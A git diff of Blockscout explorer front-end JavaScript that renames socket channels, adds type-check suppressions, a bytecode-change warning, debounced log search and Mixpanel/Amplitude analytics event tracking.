b/apps/block_scout_web/assets/js/lib/smart_contract/interact.js index 960cf4ef04d0..3ae353fb35c6 100644 --- a/apps/block_scout_web/assets/js/lib/smart_contract/interact.js +++ b/apps/block_scout_web/assets/js/lib/smart_contract/interact.js @@ -2,12 +2,14 @@ import $ from 'jquery' import { openErrorModal, openWarningModal, openSuccessModal, openModalWithMessage } from '../modals' import { compareChainIDs, formatError, formatTitleAndError, getContractABI, getCurrentAccountPromise, getMethodInputs, prepareMethodArgs } from './common_helpers' import BigNumber from 'bignumber.js' +import { commonPath } from '../path_helper' -export const queryMethod = (isWalletEnabled, url, $methodId, args, type, functionName, $responseContainer) => { +export const queryMethod = (isWalletEnabled, url, $methodId, args, type, functionName, $responseContainer, isCustomABI) => { const data = { function_name: functionName, method_id: $methodId.val(), - type + type, + is_custom_abi: isCustomABI } data.args_count = args.length @@ -58,11 +60,11 @@ export const callMethod = (isWalletEnabled, $functionInputs, explorerChainId, $f methodToCall .on('error', function (error) { const titleAndError = formatTitleAndError(error) - const message = titleAndError.message + (titleAndError.txHash ? `
More info` : '') + const message = titleAndError.message + (titleAndError.txHash ? `
More info` : '') openErrorModal(titleAndError.title.length ? titleAndError.title : `Error in sending transaction for method "${functionName}"`, message, false) }) .on('transactionHash', function (txHash) { - onTransactionHash(txHash, $element, functionName) + onTransactionHash(txHash, functionName) }) } else { const txParams = { @@ -75,7 +77,7 @@ export const callMethod = (isWalletEnabled, $functionInputs, explorerChainId, $f params: [txParams] }) .then(function (txHash) { - onTransactionHash(txHash, $element, functionName) + onTransactionHash(txHash, functionName) }) .catch(function (error) { openErrorModal('Error in sending transaction for fallback method', formatError(error), false) @@ -88,8 +90,8 @@ export const callMethod = (isWalletEnabled, $functionInputs, explorerChainId, $f }) } -function onTransactionHash (txHash, $element, functionName) { - openModalWithMessage($element.find('#pending-contract-write'), true, txHash) +function onTransactionHash (txHash, functionName) { + openModalWithMessage($('#pending-contract-write'), true, txHash) const getTxReceipt = (txHash) => { window.ethereum.request({ method: 'eth_getTransactionReceipt', @@ -97,7 +99,7 @@ function onTransactionHash (txHash, $element, functionName) { }) .then(txReceipt => { if (txReceipt) { - const successMsg = `Successfully sent transaction for method "${functionName}"` + const successMsg = `Successfully sent transaction for method "${functionName}"` openSuccessModal('Success', successMsg) clearInterval(txReceiptPollingIntervalId) } diff --git a/apps/block_scout_web/assets/js/lib/smart_contract/wei_ether_converter.js b/apps/block_scout_web/assets/js/lib/smart_contract/wei_ether_converter.js index 29865a7f27f8..b1580193b6bc 100644 --- a/apps/block_scout_web/assets/js/lib/smart_contract/wei_ether_converter.js +++ b/apps/block_scout_web/assets/js/lib/smart_contract/wei_ether_converter.js @@ -9,12 +9,14 @@ const weiToEtherConverter = (element, event) => { const $conversionTextEth = $element.find('[data-conversion-text-eth]') const $conversionUnit = $element.find('[data-conversion-unit]') const originalValueStr = $conversionUnit.data('original-value') + // @ts-ignore const unitVal = new BigNumber(numeral(originalValueStr).value()) const weiVal = unitVal.dividedBy(weiUnit) if (event.target.checked) { $conversionTextWei.removeClass('d-inline-block').addClass('d-none') $conversionTextEth.removeClass('d-none').addClass('d-inline-block') + // @ts-ignore $conversionUnit.html(weiVal.toFixed() > 0 ? String(weiVal.toFixed()) : numeral(weiVal).format('0[.000000000000000000]')) } else { $conversionTextWei.removeClass('d-none').addClass('d-inline-block') diff --git a/apps/block_scout_web/assets/js/lib/token_icon.js b/apps/block_scout_web/assets/js/lib/token_icon.js index 6f283cb3c2e3..fde9f117e589 100644 --- a/apps/block_scout_web/assets/js/lib/token_icon.js +++ b/apps/block_scout_web/assets/js/lib/token_icon.js @@ -17,7 +17,7 @@ function getTokenIconUrl (chainID, addressHash) { if (chainName) { return `https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/${chainName}/assets/${addressHash}/logo.png` } else { - return null + return '/images/icons/token_icon_default.svg' } } diff --git a/apps/block_scout_web/assets/js/lib/try_api.js b/apps/block_scout_web/assets/js/lib/try_api.js index 7f531c77bb6f..0f0a42cd274d 100644 --- a/apps/block_scout_web/assets/js/lib/try_api.js +++ b/apps/block_scout_web/assets/js/lib/try_api.js @@ -93,6 +93,7 @@ $('button[data-selector*="btn-try-api-clear"]').click(event => { // Remove invalid class from required fields if not empty $('input[data-selector*="try-api-ui"][data-required="true"]').on('keyup', (event) => { + // @ts-ignore if (event.target.value !== '') { event.target.classList.remove('is-invalid') } else { diff --git a/apps/block_scout_web/assets/js/lib/try_eth_api.js b/apps/block_scout_web/assets/js/lib/try_eth_api.js index 3f00750ab4dc..dbd161c1008f 100644 --- a/apps/block_scout_web/assets/js/lib/try_eth_api.js +++ b/apps/block_scout_web/assets/js/lib/try_eth_api.js @@ -40,6 +40,7 @@ function parseInput (input) { return value case 'json': try { + // @ts-ignore return JSON.parse(value) } catch (e) { return {} diff --git a/apps/block_scout_web/assets/js/pages/account/delete_item_handler.js b/apps/block_scout_web/assets/js/pages/account/delete_item_handler.js new file mode 100644 index 000000000000..1ae37c9ebcd6 --- /dev/null +++ b/apps/block_scout_web/assets/js/pages/account/delete_item_handler.js @@ -0,0 +1,23 @@ +import $ from 'jquery' + +$('[data-delete-item]').on('click', (event) => { + event.preventDefault() + + if (confirm('Are you sure you want to delete item?')) { + // @ts-ignore + $(event.currentTarget.parentElement).find('form').trigger('submit') + } +}) + +$('[data-delete-request]').on('click', (event) => { + event.preventDefault() + + // @ts-ignore + const result = prompt('Public tags: "' + event.currentTarget.dataset.tags.replace(';', '" and "') + '" will be removed.\nWhy do you want to remove tags?') + if (result) { + // @ts-ignore + $(event.currentTarget.parentElement).find('[name="remove_reason"]').val(result) + // @ts-ignore + $(event.currentTarget.parentElement).find('form').trigger('submit') + } +}) diff --git a/apps/block_scout_web/assets/js/pages/address.js b/apps/block_scout_web/assets/js/pages/address.js index 47f13897202b..36976e850dc7 100644 --- a/apps/block_scout_web/assets/js/pages/address.js +++ b/apps/block_scout_web/assets/js/pages/address.js @@ -56,12 +56,14 @@ export function reducer (state = initialState, action) { case 'RECEIVED_NEW_BLOCK': { if (state.channelDisconnected) return state + // @ts-ignore const validationCount = state.validationCount + 1 return Object.assign({}, state, { validationCount }) } case 'RECEIVED_NEW_TRANSACTION': { if (state.channelDisconnected) return state + // @ts-ignore const transactionCount = (action.msg.fromAddressHash === state.addressHash) ? state.transactionCount + 1 : state.transactionCount return Object.assign({}, state, { transactionCount }) @@ -69,6 +71,7 @@ export function reducer (state = initialState, action) { case 'RECEIVED_NEW_TOKEN_TRANSFER': { if (state.channelDisconnected) return state + // @ts-ignore const tokenTransferCount = (action.msg.fromAddressHash === state.addressHash) ? state.tokenTransferCount + 1 : state.tokenTransferCount return Object.assign({}, state, { tokenTransferCount }) @@ -89,6 +92,11 @@ export function reducer (state = initialState, action) { newBlockNumber: action.msg.currentCoinBalanceBlockNumber }) } + case 'RECEIVED_CHANGED_BYTECODE_EVENT': { + return Object.assign({}, state, { + isChangedBytecode: true + }) + } default: return state } @@ -107,6 +115,7 @@ function loadTokenBalance (blockNumber) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -214,6 +223,13 @@ const elements = { load ($el) { return { initialBlockNumber: numeral($el.data('last-balance-update')).value() } } + }, + '[data-selector="hidden-bytecode-warning"]': { + render ($el, state) { + if (state.isChangedBytecode) { + return $el.removeClass('d-none') + } + } } } @@ -235,6 +251,7 @@ if ($addressDetailsPage.length) { const shouldScroll = pathParts.includes('transactions') || pathParts.includes('token-transfers') || pathParts.includes('tokens') || + pathParts.includes('withdrawals') || pathParts.includes('internal-transactions') || pathParts.includes('coin-balances') || pathParts.includes('logs') || @@ -251,11 +268,13 @@ if ($addressDetailsPage.length) { } window.onbeforeunload = () => { + // @ts-ignore window.loading = true } const store = createStore(reducer) const addressHash = $addressDetailsPage[0].dataset.pageAddressHash + // @ts-ignore const { filter, blockNumber } = humps.camelizeKeys(URI(window.location).query(true)) store.dispatch({ type: 'PAGE_LOAD', @@ -265,7 +284,7 @@ if ($addressDetailsPage.length) { }) connectElements({ store, elements }) - const addressChannel = subscribeChannel(`addresses:${addressHash}`) + const addressChannel = subscribeChannel(`addresses_old:${addressHash}`) addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' @@ -295,8 +314,11 @@ if ($addressDetailsPage.length) { msg: humps.camelizeKeys(msg) }) }) + addressChannel.on('changed_bytecode', () => { + store.dispatch({ type: 'RECEIVED_CHANGED_BYTECODE_EVENT' }) + }) - const blocksChannel = socket.channel(`blocks:${addressHash}`, {}) + const blocksChannel = socket.channel(`blocks_old:${addressHash}`, {}) blocksChannel.join() blocksChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/address/coin_balances.js b/apps/block_scout_web/assets/js/pages/address/coin_balances.js index f85ade9d799a..c5e619a1b684 100644 --- a/apps/block_scout_web/assets/js/pages/address/coin_balances.js +++ b/apps/block_scout_web/assets/js/pages/address/coin_balances.js @@ -38,6 +38,7 @@ export function reducer (state, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } } @@ -45,6 +46,7 @@ const elements = { if ($('[data-page="coin-balance-history"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -54,7 +56,7 @@ if ($('[data-page="coin-balance-history"]').length) { store.dispatch({ type: 'PAGE_LOAD', addressHash }) connectElements({ store, elements }) - const addressChannel = socket.channel(`addresses:${addressHash}`, {}) + const addressChannel = socket.channel(`addresses_old:${addressHash}`, {}) addressChannel.join() addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/address/internal_transactions.js b/apps/block_scout_web/assets/js/pages/address/internal_transactions.js index 5380f1255101..b312e6867f31 100644 --- a/apps/block_scout_web/assets/js/pages/address/internal_transactions.js +++ b/apps/block_scout_web/assets/js/pages/address/internal_transactions.js @@ -66,6 +66,7 @@ export function reducer (state, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -96,6 +97,7 @@ const elements = { if ($('[data-page="address-internal-transactions"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -105,7 +107,7 @@ if ($('[data-page="address-internal-transactions"]').length) { store.dispatch({ type: 'PAGE_LOAD', addressHash }) connectElements({ store, elements }) - const addressChannel = socket.channel(`addresses:${addressHash}`, {}) + const addressChannel = socket.channel(`addresses_old:${addressHash}`, {}) addressChannel.join() addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/address/logs.js b/apps/block_scout_web/assets/js/pages/address/logs.js index 50fece655dc5..e12e37c87475 100644 --- a/apps/block_scout_web/assets/js/pages/address/logs.js +++ b/apps/block_scout_web/assets/js/pages/address/logs.js @@ -1,9 +1,11 @@ import $ from 'jquery' import omit from 'lodash.omit' -import humps from 'humps' import { connectElements } from '../../lib/redux_helpers.js' -import { createAsyncLoadStore } from '../../lib/async_listing_load' +import { createAsyncLoadStore, loadPage } from '../../lib/async_listing_load' +import { commonPath } from '../../lib/path_helper' +import { escapeHtml } from '../../lib/utils' import '../address' +// @ts-ignore import { utils } from 'web3' export const initialState = { @@ -57,18 +59,16 @@ const elements = { } if ($('[data-page="address-logs"]').length) { + let timer + const waitTime = 500 + const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierLog') const addressHash = $('[data-page="address-details"]')[0].dataset.pageAddressHash const $element = $('[data-async-listing]') connectElements({ store, elements }) - store.dispatch({ - type: 'PAGE_LOAD', - addressHash - }) - - $element.on('click', '[data-search-button]', (_event) => { + const searchFunc = (_event) => { store.dispatch({ type: 'START_SEARCH', addressHash @@ -76,15 +76,45 @@ if ($('[data-page="address-logs"]').length) { const topic = $('[data-search-field]').val() const addressHashPlain = store.getState().addressHash const addressHashChecksum = addressHashPlain && utils.toChecksumAddress(addressHashPlain) - const path = '/search-logs?topic=' + topic + '&address_id=' + addressHashChecksum - store.dispatch({ type: 'START_REQUEST' }) - $.getJSON(path, { type: 'JSON' }) - .done(response => store.dispatch(Object.assign({ type: 'ITEMS_FETCHED' }, humps.camelizeKeys(response)))) - .fail(() => store.dispatch({ type: 'REQUEST_ERROR' })) - .always(() => store.dispatch({ type: 'FINISH_REQUEST' })) + const path = `${commonPath}/search-logs?topic=${topic}&address_id=${addressHashChecksum}` + changeDownloadButtonHref(topic) + loadPage(store, path) + } + + function changeDownloadButtonHref (filter) { + const currentHref = $('a.download-all-items-link').attr('href') + if (currentHref) { + let hrefWithTopic = currentHref + if (currentHref.includes('filter_type=&')) { + hrefWithTopic = currentHref.replace(/filter_type=.*?&/, 'filter_type=topic&') + } + const href = hrefWithTopic.replace(/filter_value=.*?&/, `filter_value=${escapeHtml(filter)}&`) + $('a.download-all-items-link').attr('href', href) + } + } + + store.dispatch({ + type: 'PAGE_LOAD', + addressHash }) + $element.on('click', '[data-search-button]', searchFunc) + $element.on('click', '[data-cancel-search-button]', (_event) => { - window.location.replace(window.location.href.split('?')[0]) + $('[data-search-field]').val('') + loadPage(store, window.location.pathname) + }) + + $element.on('input keyup', '[data-search-field]', (event) => { + if (event.type === 'input') { + clearTimeout(timer) + timer = setTimeout(() => { + searchFunc(event) + }, waitTime) + } + if (event.type === 'keyup' && event.keyCode === 13) { + clearTimeout(timer) + searchFunc(event) + } }) } diff --git a/apps/block_scout_web/assets/js/pages/address/token_transfers.js b/apps/block_scout_web/assets/js/pages/address/token_transfers.js index b09e32f6d75d..a50bc11e668d 100644 --- a/apps/block_scout_web/assets/js/pages/address/token_transfers.js +++ b/apps/block_scout_web/assets/js/pages/address/token_transfers.js @@ -49,6 +49,7 @@ export function reducer (state, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -71,11 +72,13 @@ const elements = { if ($('[data-page="address-token-transfers"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') const addressHash = $('[data-page="address-details"]')[0].dataset.pageAddressHash + // @ts-ignore const { filter, blockNumber } = humps.camelizeKeys(URI(window.location).query(true)) connectElements({ store, elements }) @@ -87,7 +90,7 @@ if ($('[data-page="address-token-transfers"]').length) { beyondPageOne: !!blockNumber }) - const addressChannel = subscribeChannel(`addresses:${addressHash}`) + const addressChannel = subscribeChannel(`addresses_old:${addressHash}`) addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) addressChannel.on('token_transfer', (msg) => { store.dispatch({ @@ -96,7 +99,7 @@ if ($('[data-page="address-token-transfers"]').length) { }) }) - const rewardsChannel = subscribeChannel(`rewards:${addressHash}`) + const rewardsChannel = subscribeChannel(`rewards_old:${addressHash}`) rewardsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) rewardsChannel.on('new_reward', (msg) => { store.dispatch({ diff --git a/apps/block_scout_web/assets/js/pages/address/transactions.js b/apps/block_scout_web/assets/js/pages/address/transactions.js index 9343d0ca8692..be8f97cd1ee8 100644 --- a/apps/block_scout_web/assets/js/pages/address/transactions.js +++ b/apps/block_scout_web/assets/js/pages/address/transactions.js @@ -89,6 +89,7 @@ export function reducer (state, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -119,11 +120,13 @@ const elements = { if ($('[data-page="address-transactions"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') const addressHash = $('[data-page="address-details"]')[0].dataset.pageAddressHash + // @ts-ignore const { filter, blockNumber } = humps.camelizeKeys(URI(window.location).query(true)) connectElements({ store, elements }) @@ -135,7 +138,7 @@ if ($('[data-page="address-transactions"]').length) { beyondPageOne: !!blockNumber }) - const addressChannel = subscribeChannel(`addresses:${addressHash}`) + const addressChannel = subscribeChannel(`addresses_old:${addressHash}`) addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) addressChannel.on('transaction', batchChannel((msgs) => store.dispatch({ @@ -150,7 +153,7 @@ if ($('[data-page="address-transactions"]').length) { }) )) - const rewardsChannel = subscribeChannel(`rewards:${addressHash}`) + const rewardsChannel = subscribeChannel(`rewards_old:${addressHash}`) rewardsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) rewardsChannel.on('new_reward', (msg) => { store.dispatch({ @@ -174,6 +177,7 @@ if ($('[data-page="address-transactions"]').length) { function loadTransactions (store) { const path = $('[class="card-body"]')[0].dataset.asyncListing store.dispatch({ type: 'START_TRANSACTIONS_FETCH' }) + // @ts-ignore $.getJSON(path, { type: 'JSON' }) .done(response => store.dispatch({ type: 'TRANSACTIONS_FETCHED', msg: humps.camelizeKeys(response) })) .fail(() => store.dispatch({ type: 'TRANSACTIONS_FETCH_ERROR' })) diff --git a/apps/block_scout_web/assets/js/pages/address/validations.js b/apps/block_scout_web/assets/js/pages/address/validations.js index 128923956075..3446e98f9dde 100644 --- a/apps/block_scout_web/assets/js/pages/address/validations.js +++ b/apps/block_scout_web/assets/js/pages/address/validations.js @@ -39,6 +39,7 @@ export function reducer (state = initialState, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } } @@ -46,6 +47,7 @@ const elements = { if ($('[data-page="blocks-validated"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -57,7 +59,7 @@ if ($('[data-page="blocks-validated"]').length) { addressHash }) - const blocksChannel = socket.channel(`blocks:${addressHash}`, {}) + const blocksChannel = socket.channel(`blocks_old:${addressHash}`, {}) blocksChannel.join() blocksChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/blocks.js b/apps/block_scout_web/assets/js/pages/blocks.js index bde01fd6c195..61ab8060551f 100644 --- a/apps/block_scout_web/assets/js/pages/blocks.js +++ b/apps/block_scout_web/assets/js/pages/blocks.js @@ -47,6 +47,7 @@ function baseReducer (state = initialState, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } } @@ -69,8 +70,9 @@ function withMissingBlocks (reducer) { }, {}) const blockNumbers = keys(blockNumbersToItems).map(x => parseInt(x, 10)) - const minBlock = min(blockNumbers) - const maxBlock = max(blockNumbers) + const minBlock = min(blockNumbers) || 0 + const maxBlock = max(blockNumbers) || 0 + if (maxBlock - minBlock > 100) return result return Object.assign({}, result, { items: rangeRight(minBlock, maxBlock + 1) @@ -84,6 +86,7 @@ const $uncleListPage = $('[data-page="uncle-list"]') const $reorgListPage = $('[data-page="reorg-list"]') if ($blockListPage.length || $uncleListPage.length || $reorgListPage.length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -96,7 +99,7 @@ if ($blockListPage.length || $uncleListPage.length || $reorgListPage.length) { ) connectElements({ store, elements }) - const blocksChannel = socket.channel('blocks:new_block', {}) + const blocksChannel = socket.channel('blocks_old:new_block', {}) blocksChannel.join() blocksChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' @@ -120,7 +123,10 @@ export function placeHolderBlock (blockNumber) {
${blockNumber} -
${window.localized['Block Processing']}
+
${ + // @ts-ignore + window.localized['Block Processing'] + }
diff --git a/apps/block_scout_web/assets/js/pages/chain.js b/apps/block_scout_web/assets/js/pages/chain.js index 7d8b64fe1638..4f05f894f0fc 100644 --- a/apps/block_scout_web/assets/js/pages/chain.js +++ b/apps/block_scout_web/assets/js/pages/chain.js @@ -12,6 +12,7 @@ import { createStore, connectElements } from '../lib/redux_helpers.js' import { batchChannel, showLoader } from '../lib/utils' import listMorph from '../lib/list_morph' import '../app' +import { openErrorModal, openSuccessModal, openWarningModal } from '../lib/modals' const BATCH_THRESHOLD = 6 const BLOCKS_PER_PAGE = 4 @@ -47,6 +48,9 @@ function baseReducer (state = initialState, action) { }) } case 'RECEIVED_NEW_BLOCK': { + const firstBlock = ($('#indexer-first-block').text() && parseInt($('#indexer-first-block').text(), 10)) || 0 + const blockCount = (action.msg.blockNumber - firstBlock) + 1 + // @ts-ignore if (!state.blocks.length || state.blocks[0].blockNumber < action.msg.blockNumber) { let pastBlocks if (state.blocks.length < BLOCKS_PER_PAGE) { @@ -61,12 +65,13 @@ function baseReducer (state = initialState, action) { action.msg, ...pastBlocks ], - blockCount: action.msg.blockNumber + 1 + blockCount }) } else { return Object.assign({}, state, { + // @ts-ignore blocks: state.blocks.map((block) => block.blockNumber === action.msg.blockNumber ? action.msg : block), - blockCount: action.msg.blockNumber + 1 + blockCount }) } } @@ -171,6 +176,7 @@ let chart const elements = { '[data-chart="historyChart"]': { load () { + // @ts-ignore chart = window.dashboardChart }, render (_$el, state, oldState) { @@ -284,7 +290,7 @@ const elements = { if (oldState.transactions === state.transactions) return const container = $el[0] const newElements = map(state.transactions, ({ transactionHtml }) => $(transactionHtml)[0]) - listMorph(container, newElements, { key: 'dataset.identifierHash' }) + listMorph(container, newElements, { key: 'dataset.identifierHash', horizontal: null }) } }, '[data-selector="channel-batching-count"]': { @@ -308,7 +314,7 @@ if ($chainDetailsPage.length) { loadBlocks(store) bindBlockErrorMessage(store) - const exchangeRateChannel = socket.channel('exchange_rate:new_rate') + const exchangeRateChannel = socket.channel('exchange_rate_old:new_rate') exchangeRateChannel.join() exchangeRateChannel.on('new_rate', (msg) => { updateAllCalculatedUsdValues(humps.camelizeKeys(msg).exchangeRate.usdValue) @@ -318,28 +324,28 @@ if ($chainDetailsPage.length) { }) }) - const addressesChannel = socket.channel('addresses:new_address') + const addressesChannel = socket.channel('addresses_old:new_address') addressesChannel.join() addressesChannel.on('count', msg => store.dispatch({ type: 'RECEIVED_NEW_ADDRESS_COUNT', msg: humps.camelizeKeys(msg) })) - const blocksChannel = socket.channel('blocks:new_block') + const blocksChannel = socket.channel('blocks_old:new_block') blocksChannel.join() blocksChannel.on('new_block', msg => store.dispatch({ type: 'RECEIVED_NEW_BLOCK', msg: humps.camelizeKeys(msg) })) - const transactionsChannel = socket.channel('transactions:new_transaction') + const transactionsChannel = socket.channel('transactions_old:new_transaction') transactionsChannel.join() transactionsChannel.on('transaction', batchChannel((msgs) => store.dispatch({ type: 'RECEIVED_NEW_TRANSACTION_BATCH', msgs: humps.camelizeKeys(msgs) }))) - const transactionStatsChannel = socket.channel('transactions:stats') + const transactionStatsChannel = socket.channel('transactions_old:stats') transactionStatsChannel.join() transactionStatsChannel.on('update', msg => store.dispatch({ type: 'RECEIVED_UPDATED_TRANSACTION_STATS', @@ -387,7 +393,10 @@ export function placeHolderBlock (blockNumber) {
${blockNumber} -
${window.localized['Block Processing']}
+
${ + // @ts-ignore + window.localized['Block Processing'] + }
@@ -410,3 +419,26 @@ function loadBlocks (store) { function bindBlockErrorMessage (store) { $('[data-selector="chain-block-list"] [data-selector="error-message"]').on('click', _event => loadBlocks(store)) } + +$('a.ajax').on('click', (event) => { + event.preventDefault() + event.currentTarget.classList.add('disabled') + + $.get($(event.currentTarget).attr('href'), () => { + openSuccessModal('Success', 'Email successfully resent', () => { window.location.reload() }) + }).fail((error) => { + if (error.responseJSON && error.responseJSON.message) { + if (error.status === 429) { + openWarningModal('Warning', error.responseJSON.message) + } else { + openErrorModal('Error', error.responseJSON.message, false) + } + } else { + openErrorModal('Error', 'Email resend failed', false) + } + }) + .always(() => { + event.currentTarget.classList.remove('disabled') + }) +} +) diff --git a/apps/block_scout_web/assets/js/pages/dark-mode-switcher.js b/apps/block_scout_web/assets/js/pages/dark-mode-switcher.js index e9e0bdc52452..610e4d47b436 100644 --- a/apps/block_scout_web/assets/js/pages/dark-mode-switcher.js +++ b/apps/block_scout_web/assets/js/pages/dark-mode-switcher.js @@ -1,11 +1,12 @@ -import $ from 'jquery' +import Cookies from 'js-cookie' +// @ts-ignore +const darkModeChangerEl = document.getElementsByClassName('dark-mode-changer')[0] -$('.dark-mode-changer').click(function () { - if (localStorage.getItem('current-color-mode') === 'dark') { - localStorage.setItem('current-color-mode', 'light') +darkModeChangerEl && darkModeChangerEl.addEventListener('click', function () { + if (Cookies.get('chakra-ui-color-mode') === 'dark') { + Cookies.set('chakra-ui-color-mode', 'light') } else { - localStorage.setItem('current-color-mode', 'dark') + Cookies.set('chakra-ui-color-mode', 'dark') } - // reload each theme switch - document.location.reload(true) + document.location.reload() }) diff --git a/apps/block_scout_web/assets/js/pages/layout.js b/apps/block_scout_web/assets/js/pages/layout.js index 43fb5a2178f6..edabc03366cc 100644 --- a/apps/block_scout_web/assets/js/pages/layout.js +++ b/apps/block_scout_web/assets/js/pages/layout.js @@ -1,17 +1,182 @@ import $ from 'jquery' import { addChainToMM } from '../lib/add_chain_to_mm' +import * as analytics from '../lib/analytics' +import { commonPath } from '../lib/path_helper' + +analytics.init() + +const simpleEvents = { + '.profile-button': 'Profile click', + '.watchlist-button': 'Watch list click', + '.address-tags-button': 'Address tags click', + '.transaction-tags-button': 'Transaction tags click', + '.api-keys-button': 'API keys click', + '.custom-abi-button': 'Custom ABI click', + '.public-tags-button': 'Public tags click', + '.sign-out-button': 'Sign out click', + '.sign-in-button': 'Sign in click', + '.add-address-button': 'Add address to watch list click', + '.add-address-tag-button': 'Add address tag click', + '.add-transaction-tag-button': 'Add transaction tag click', + '.add-api-key-button': 'Add API key click', + '.add-custom-abi-button': 'Add custom ABI click', + '.add-public-tag-button': 'Request to add public tag click' +} + +if (analytics.mixpanelInitialized || analytics.amplitudeInitialized) { + for (const elementClass in simpleEvents) { + $(elementClass).click((_event) => { + analytics.trackEvent(simpleEvents[elementClass]) + }) + } +} + +$('.save-address-button').click((_event) => { + const eventProperties = { + address_hash: $('#watchlist_address_address_hash').val(), + private_tag: $('#watchlist_address_name').val(), + eth_incoming: $('#watchlist_address_watch_coin_input').prop('checked'), + eth_outgoing: $('#watchlist_address_watch_coin_output').prop('checked'), + erc_20_incoming: $('#watchlist_address_watch_erc_20_input').prop('checked'), + erc_20_outgoing: $('#watchlist_address_watch_erc_20_output').prop('checked'), + erc_721_1155_incoming: $('#watchlist_address_watch_erc_721_input').prop('checked'), + erc_721_1155_outgoing: $('#watchlist_address_watch_erc_721_output').prop('checked'), + email_notifications: $('#watchlist_address_notify_email').prop('checked') + } + const eventName = 'New address to watchlist completed' + + analytics.trackEvent(eventName, eventProperties) +}) + +$('.save-address-tag-button').click((_event) => { + const eventName = 'Add address tag completed' + const eventProperties = { + address_hash: $('#tag_address_address_hash').val(), + private_tag: $('#tag_address_name').val() + } + + analytics.trackEvent(eventName, eventProperties) +}) + +$('.save-transaction-tag-button').click((_event) => { + const eventName = 'Add transaction tag completed' + const eventProperties = { + address_hash: $('#tag_transaction_tx_hash').val(), + private_tag: $('#tag_transaction_name').val() + } + + analytics.trackEvent(eventName, eventProperties) +}) + +$('.save-api-key-button').click((_event) => { + const eventName = 'Generate API key completed' + const eventProperties = { + application_name: $('#key_name').val() + } + + analytics.trackEvent(eventName, eventProperties) +}) + +$('.save-custom-abi-button').click((_event) => { + const eventName = 'Custom ABI completed' + const eventProperties = { + smart_contract_address: $('#custom_abi_address_hash').val(), + project_name: $('#custom_abi_name').val(), + custom_abi: $('#custom_abi_abi').val() + } + + analytics.trackEvent(eventName, eventProperties) +}) + +$('.send-public-tag-request-button').click((_event) => { + const eventName = 'Request a public tag completed' + const eventProperties = { + name: $('#public_tags_request_full_name').val(), + email: $('#public_tags_request_email').val(), + company_name: $('#public_tags_request_company').val(), + company_website: $('#public_tags_request_website').val(), + goal: $('#public_tags_request_is_owner_true').prop('checked') ? 'Add tags' : 'Incorrect public tag', + public_tag: $('#public_tags_request_tags').val(), + smart_contracts: $('*[id=public_tags_request_addresses]').map((_i, el) => { + // @ts-ignore + return el.value + }).get(), + reason: $('#public_tags_request_additional_comment').val() + } + + analytics.trackEvent(eventName, eventProperties) +}) + +$(document).ready(() => { + let timer + const waitTime = 500 + const observer = new MutationObserver((mutations) => { + // @ts-ignore + if (mutations[0].target.hidden) { + return + } + + const $results = $('li[id^="autoComplete_result_"]') + + clearTimeout(timer) + timer = setTimeout(() => { + let eventName = 'Occurs searching according to substring at the nav bar' + let eventProperties = { + search: $('.main-search-autocomplete').val() || $('.main-search-autocomplete-mobile').val() + } + + analytics.trackEvent(eventName, eventProperties) + + eventName = 'Search list displays at the nav bar' + // @ts-ignore + eventProperties = { + resultsNumber: $results.length, + results: $results.map((_i, el) => { + // @ts-ignore + return el.children[1].innerText + }) + } + + analytics.trackEvent(eventName, eventProperties) + }, waitTime) + + $results.click((event) => { + const eventName = 'Search item click at the nav bar' + const eventProperties = { + item: event.currentTarget.innerText + } + + analytics.trackEvent(eventName, eventProperties) + }) + }) + observer.observe($('#autoComplete_list_1')[0], { + attributeFilter: ['hidden'], + childList: true + }) + observer.observe($('#autoComplete_list_2')[0], { + attributeFilter: ['hidden'] + }) +}) $(document).click(function (event) { const clickover = $(event.target) const _opened = $('.navbar-collapse').hasClass('show') + // @ts-ignore if (_opened === true && $('.navbar').find(clickover).length < 1) { $('.navbar-toggler').click() } }) const search = (value) => { + const eventName = 'Occurs searching according to substring at the nav bar' + const eventProperties = { + search: value + } + + analytics.trackEvent(eventName, eventProperties) + if (value) { - window.location.href = `/search?q=${value}` + window.location.href = `${commonPath}/search?q=${value}` } } @@ -35,6 +200,7 @@ 